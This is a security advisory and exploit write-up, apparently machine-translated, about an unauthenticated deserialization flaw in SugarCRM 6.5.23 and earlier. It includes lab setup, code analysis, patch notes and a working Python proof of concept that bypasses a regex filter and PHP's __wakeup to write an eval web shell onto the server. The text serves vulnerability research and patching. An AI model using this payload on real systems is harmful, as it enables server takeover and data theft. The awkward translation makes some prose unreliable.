## https://sploitus.com/exploit?id=SSV:92404
**Author: p0wd3r (know Chong Yu 404 security lab)** **Date: 2016-09-12**
## 0x00 vulnerability overview
### 1\. Vulnerability description
SugarCRM(http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its<=6.5.23 version exists in the deserialization vulnerability, the program attacker to construct a malicious serialized data to the deserialization process, so that the attacker can be in the unauthorized State under the execution of arbitrary code.
### 2\. Vulnerability
Unauthorized state arbitrary code execution
### 3\. Impact version
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP 7 is due < 7.0.10
## 0x01 vulnerability reproduction
### 1\. Environment to build
Dockerfile:
``dockerfile FROM php:5.6-apache
# Install php extensions
RUN echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" > /etc/apt/sources. list \ && echo "deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib" >> /etc/apt/sources. list \ && apt-get update \ && apt-get install-y libpng12-dev libjpeg-dev wget\ && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \ && docker-php-ext-install-j$(nproc) mysqli gd zip
# Download and Extract SugarCRM
RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \ && tar-zxvf src.tar.gz \ && mv sugarcrm_dev-6.5.23/* /var/www/html \ && rm src.tar.gz ``
`bash docker build-t sugarcrm . docker run-p 80:80 sugarcrm`
### 2\. Basis of preparation
PHP before broke a vulnerability, CVE-2016-7124 https://bugs.php.net/bug.php?id=72663 simple to say is that when the serialized string **representation of the object attribute the value of the number **is greater than the **real number of attributes **will skip the`__wakeup `implementation. Demo is as follows:
``php <? php class Student{ private $full_name = "; private $score = 0; private $grades = array();
public function __construct($full_name, $score, $grades)
{
$this->full_name = $full_name;
$this->grades = $grades;
$this->score = $score;
}
function __destruct()
{
var_dump($this);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
// $s = new Student('p0wd3r', 123, array('a' => 90, 'b' => 100)); // file_put_contents('1. data', serialize($s)); $a = unserialize(file_get_contents('1. data'));
?>
``
Demo in the`__wakeup `to clear the object properties, and then in the`__destruct `will be the object information dump out. Under normal circumstances, the sequence obtained by 1. data is like this:
`O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}`
We execute the script, the results are as follows:

You can see the object properties have already been cleared.
Below we will 1. data into the following like this the above 3 into a 5 or other greater than 3 digits: The
`O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}`
Then execute the script and see:

You can see the object is to dump out and the property is not clear, the proof of`__wakeup `and not be executed.
This vulnerability is very interesting, in the following analysis, we will use it.
### 3\. Vulnerability analysis
First of all, we see `service/core/REST/SugarRestSerialize.php `the `serve `function:
`php function serve(){ $GLOBALS['log']->info('Begin: SugarRestSerialize->serve'); $data = ! empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: "; if(empty($_REQUEST['method']) || ! method_exists($this->implementation, $_REQUEST['method'])){ ... }else{ $method = $_REQUEST['method']; $data = sugar_unserialize(from_html($data)); ... } }`
You can see we can control the`$_REQUEST['rest_data'] `the first through the `from_html `the data in the HTML entity encoding the partially decoded, and then passed `sugar_unserialize `function.
Follow `sugar_unserialize `function, in `include/utils.php `No. 5033-5048 lines:
``php /__ * Performs unserialization. Accepts all types except Objects _ * @param string $value the Serialized value of any type except Object * @return mixed False if the Object, the converted value for other cases _/ function sugar_unserialize($value) { preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
} ``
From the comments you can see the function design of the purpose is in order not to let the `Object `type to be deserialized, however regular not precise enough, we may be in the length of the object added before the A`+`number, i.e. `o:14 -> o:+14`, you can bypass this layer of detection, so that we can control the data into the `unserialize `function.
A controllable point to find, then we need to find what objects can be used, in `include/SugarCache/SugarCacheFile.php `in the first 90-108 row:
``php public function **destruct() { parent:: **destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/__ _ This is needed to prevent unserialize vulnerability _/ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } ``
We see we prefer the magic methods, and in the`__destruct `using object property as a parameter to call a `sugar_file_put_contents `it.
Follow `sugar_file_put_contents`, in `include/utils/sugar_file_utils.php `paragraphs 131 to 149 row:
``php function sugar_file_put_contents($filename, $data, $flags=null, $context=null){ //check to see if the file exists, if not then use touch to create it. if(! file_exists($filename)){ sugar_touch($filename); }
if ( ! is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
} ``
Function and not to the file content or filename, etc. to be limiting, although the parameter`$data `is `serialize($this->_localStore)`, which is the serialized data, but we can set`$_this->_localStore `as an array, put the payload as an array of one value, you can complete and save the payload in.
So if we can pass a `SugarCacheFile `object and set its attribute values, we can write to the file.
However, unfortunately, the`__wakeup `will be in the`__destroy `before the call, and we can see in the`__wakeup `for all object attributes are cleared.
Then the How to cross this limit?
Surely we all already know, is the use we said above, PHP vulnerabilities to skip the`__wakeup `implementation.
Finally, the entire exploit process is as follows:
`php $_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file`
The PoC Demo as follows:
``python import requests as req
url = 'http://127.0.0.1:8788/service/v4/rest.php'
data = { 'method': 'login', 'input_type': 'Serialize', 'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\00_\00_cacheFileName";s:15:"../custom/1.php";S:16:"\00_\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:29:"<? php eval($_POST[\'HHH\']); ?>";}}', }
req. post(url, data=data) ``
脚本执行后shell位于custom/1.php to:

### 4\. Patch analysis
In v6. 5. 24, the `sugar_unserialize `carried out the following improvements:
`php function sugar_unserialize($value) { preg_match('/[oc]:[^:]*\d+:/i', $value, $matches); if (count($matches)) { return false; } return unserialize($value); }`
Change the regular expression, so that the object type cannot be deserialized.
## 0x02 repair program
Upgrade SugarCRM to the v6. 5. 24 Upgrade php5 to 5. 6. 25 and above Upgrade PHP 7 is due to the 7. 0. 10 and above
## 0x03 reference
* http://paper.seebug.org/39/
* https://www.exploit-db.com/exploits/40344/
* https://bugs.php.net/bug.php?id=72663
* http://php.net/manual/zh/function.serialize.php